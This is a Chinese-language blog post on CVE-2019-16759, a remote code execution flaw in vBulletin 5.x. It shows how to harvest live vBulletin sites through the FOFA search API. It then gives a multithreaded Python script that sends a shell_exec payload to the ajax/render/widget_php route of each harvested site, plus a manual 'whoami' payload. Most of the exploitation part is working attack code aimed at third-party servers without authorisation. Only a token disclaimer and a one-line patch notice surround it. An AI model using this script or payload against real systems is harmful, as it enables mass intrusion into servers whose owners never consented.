vBulletin 5.x远程代码执行漏洞利用

2019-10-08

0x00 前言

vBulletin 是一个强大，灵活并可完全根据自己的需要定制的商用论坛程序套件，在全球拥有数万用户且增长速度很快。

2019年9月23日，vBulletin v5（5.0.0-5.5.4）被爆出存在远程代码执行的漏洞利用代码，CVE编号：CVE-2019-16759。

0x01 漏洞利用

因为vBulletin为商用程序，而其用户群主要集中在欧美地区，这里直接使用fofa搜索线上环境测试一下。

搜索关键词app="vBulletin",得到一万多条结果

手动查看了一下大部分都是4.x版本，要不然就是漏洞不存在，这里直接批量获取批量测试一下。

1	echo 'app="vBulletin"' \| base64 - \| xargs -I{} curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}"

将获取到的内容保存到vb.txt然后进行批量检测

import requests
import json
import Queue
import threading
class Bruter(object):
	def __init__(self, urls,threads):

		self.vb_urls = Queue.Queue()
		self.threads = threads
		for u in urls:
			self.vb_urls.put(u[0])
		#print self.vb_urls.get()
	def vb5_rce(self):
		with threading.Lock():
			while self.vb_urls.qsize() > 0:

				target = self.vb_urls.get()
				if 'http' not in target:
					target = 'http://'+target
				url = target+"/index.php?routestring=ajax/render/widget_php"
				headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.2.14", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
				data = {"widgetConfig[code]": "echo shell_exec('echo boogle'); exit;"}
				
				try:
					res = requests.post(url, headers=headers, data=data)
					if 'boogle' in res.text and 'exit' not in res.text:
						print '[+] '+ target +' is vuluable '
						file_write(r'vb5_vulu_site.txt',target+'\n')

					else:
						print '[-] '+ target +' is not vuluable '
				except:
					print '[!] '+ target +' error '
					pass

	def run(self):
		for i in  range(self.threads):
			print '[+] thread '+ str(i)
			t = threading.Thread(target=self.vb5_rce)
			t.start()
def get_url():
	with open('vb.txt','r')  as f:
		r = json.loads(f.read())
		urls = r['results']
		return urls
		
def file_write(name,results):
    with open(name,mode='a') as file:
        file.write(results)

if __name__ == '__main__':
	urls = get_url()
	vb5_rce = Bruter(urls=urls,threads=10)
	vb5_rce.run()

手动测试一下

1 2	POST widgetConfig[code]=echo shell_exec('whoami'); exit;

至此复现成功，本文所有内容仅供测试，勿作他用。

0x02 修复建议

官方已出修复补丁，尽快进行下载修复。

0x03 参考链接

https://seclists.org/fulldisclosure/2019/Sep/31